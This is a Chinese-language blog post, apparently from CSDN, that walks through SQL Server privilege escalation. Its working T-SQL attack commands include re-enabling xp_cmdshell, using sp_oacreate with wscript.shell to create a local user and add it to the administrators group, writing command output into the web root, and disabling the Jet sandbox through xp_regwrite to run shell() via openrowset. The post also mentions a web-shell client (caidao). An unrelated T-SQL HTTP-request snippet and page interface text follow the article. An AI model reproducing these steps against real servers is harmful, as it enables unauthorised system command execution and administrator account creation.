SQL Server提权总结与记录-xp_cmdshell/sp_oacreate/sandbox提权

0x00 Sql server提权基础

Sql server也称Mssql Server,是微软家的数据库,但是要注意,sql server同样也能在linux中安装使用,本文主要记录sql server的提权方式。

sql server提权主要依赖于sql server自带的存储过程

存储过程是一个可编程的函数,它在数据库中创建并保存,是存储在服务器中的一组预编译过的T-SQL语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式(可以将存储过程理解为函数调用的过程),使用execute命令执行存储过程。

主要分为系统存储过程、扩展存储过程、用户自定义的存储过程三大类。

  • 系统存储过程主要存储在master数据库中,以sp_为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;
  • 扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以xp_为前缀,使用方法与系统存储过程类似;
  • 用户定义的存储过程是SQLServer的使用者编写的存储过程。

接下来就常见提权方式做一次总结与学习


0x01 xp_cmdshell提权

扩展存储过程中xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令。此存储过程在SQLserver2000中默认开启,2005本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure将其开启。

SAMicrosoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值。

2005xp_cmdshell的权限一般是system,而2008多数为nt authority\network service

所以xp_cmdshell的提权前提为两个:

  • 拿到sa权限的账户密码
  • sqlserver服务未降权

这里使用caidao进行连接一句话,使用工具自带的连接器进行连接数据库,填入对应的信息即可连接数据库
在这里插入图片描述
连接数据库后,先检查xp_cmdshell是否存在。

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

在这里插入图片描述
结果为1,则证明存在。当结果为0时,可以通过下列命令恢复

  • 如果xp_cmdshell被删除,则可以通过下列命令重新加载。
dbcc addextendedproc("xp_cmdshell","xplog70.dll");
  • 如果连xplog70.dll也被删除,则可以通过下列命令恢复(未验证)
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';

当通过xp_cmdshell执行命令时,出现下列错误时,

-2147217900:[Microsoft][ODBC SQL Server Driver][SQL Server]SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"

可以通过下列语句开启xp_cmdshell

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE

使用xp_cmdshell的方式为

EXEC master..xp_cmdshell 'whoami';

在这里插入图片描述
提权成功。


0x02 sp_oacreate提权

sp_oacreate可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd

sp_oacreatesp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreatesp_oamethod同样能胜任。但是使用此方法时sp_oacreate没有回显,所以一般用于xp_cmdshell无法使用时。

以下命令用来开启sp_oacreate,不开启的话同样会有阻止组件的报错。

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE

提权命令如下

declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'

在这里插入图片描述
由于没有回显,去服务器上查看成功,用起来没有xp_cmdshell方便
在这里插入图片描述
不过没有回显可以配合一些其它操作配合完成读取文件,比如可以通过xp_dirtree列目录可以查到物理路径

execute xp_dirtree 'c:'           # 列出所有c:\文件、目录、子目录
execute xp_dirtree 'c:',1        #  只列c:\目录
execute xp_dirtree 'c:',1,1      # 列c:\目录、文件

在这里插入图片描述

那么就可以先将执行的命令写入到网站目录下

declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'C:\\windows\\system32\\cmd.exe /c whoami > C:\\Inetpub\\wwwroot\\1.txt';

然后再进行读取操作即可
在这里插入图片描述
除此之外,还可以通过替换上列命令中的run和组件完成其它操作

  • 复制文件
declare @o int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'copyfile',null,'c:\\1.txt' ,'c:\\2.txt'
  • 移动文件
declare @o int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'movefile',null,'c:\\1.txt' ,'c:\\2.txt'
  • 删除文件
DECLARE @Result int;
DECLARE @FSO_Token int;
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT;
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'C:\\Inetpub\\wwwroot\\1.txt';
EXEC @Result = sp_OADestroy @FSO_Token;

0x03 sandbox提权

当执行命令方法无法使用时,可以使用沙盒进行提权。

沙盒模式SandBoxMode是一种安全功能。在沙盒模式下,Access只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。例如,诸如KillShell之类的函数可能被用来损坏计算机上的数据和文件,因此它们被视为不安全的。当Access以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。

OLE DB Driver for SQL Server是用于访问数据的底层COM API,是应用程序链接到SQL Server的的驱动程序。

本质是修改注册表,默认情况下,注册表中mdb数据库不允许执行系统命令,但是开启沙盒模式,就准许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。

提权命令如下:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("whoami")')

在这里插入图片描述
没有开启的话报错,通过下面命令开启组件

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;

再次执行会报下面错误
在这里插入图片描述
接着关闭沙盒

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

沙盒模式`SandBoxMode`参数含义(默认是20:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3:完全开启

再次执行命令
在这里插入图片描述
没有报错,说明执行成功。没有回显,可以通过之前的办法将加显写入文本后读取即可。

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("C:\\windows\\system32\\cmd.exe /c whoami > C:\\Inetpub\\wwwroot\\1.txt")')

在这里插入图片描述
提权成功。

  • 10
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
DECLARE @Object int; DECLARE @HR int; DECLARE @Property nvarchar(255); DECLARE @Return nvarchar(255); DECLARE @Source nvarchar(255), @Desc nvarchar(255); DECLARE @httpStatus int; DECLARE @response varchar(8000); --创建 OLE 对象的实例 EXEC @HR = sp_OACreate N'MSXML2.XMLHTTP.6.0',@Object OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Error Creating COM Component 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO END_ROUTINE END BEGIN --Open EXEC @HR = sp_OAMethod @Object,N'open',Null,'GET','http://localhost:1728/HttpServer/submit.aspx',FALSE; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Open 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --setRequestHeader EXEC @HR = sp_OAMethod @Object,N'setRequestHeader',Null,'Content-Type','text/xml'; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('setRequestHeader 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --send EXEC @HR = sp_OAMethod @Object,N'send',Null,''; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('send 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --readyState EXEC @HR = sp_OAGetProperty @Object,'readyState', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('readyState 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 4 BEGIN RAISERROR('readyState http status bad', 16,1) GOTO CLEANUP END --status EXEC @HR = sp_OAGetProperty @Object,'status', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('getstatus 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 200 BEGIN Print Cast(@httpStatus As varchar) RAISERROR('Open http status bad', 16,1) GOTO CLEANUP END --responseText EXEC @HR = sp_OAGetProperty @Object, 'responseText', @response OUT IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('responseText 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END Print @response END CLEANUP: BEGIN EXEC @HR = sp_OADestroy @Object; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; SELECT HR = convert(varbinary(4),@HR),Source=@Source,Description=@Desc; END END END_ROUTINE: RETURN; GO
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值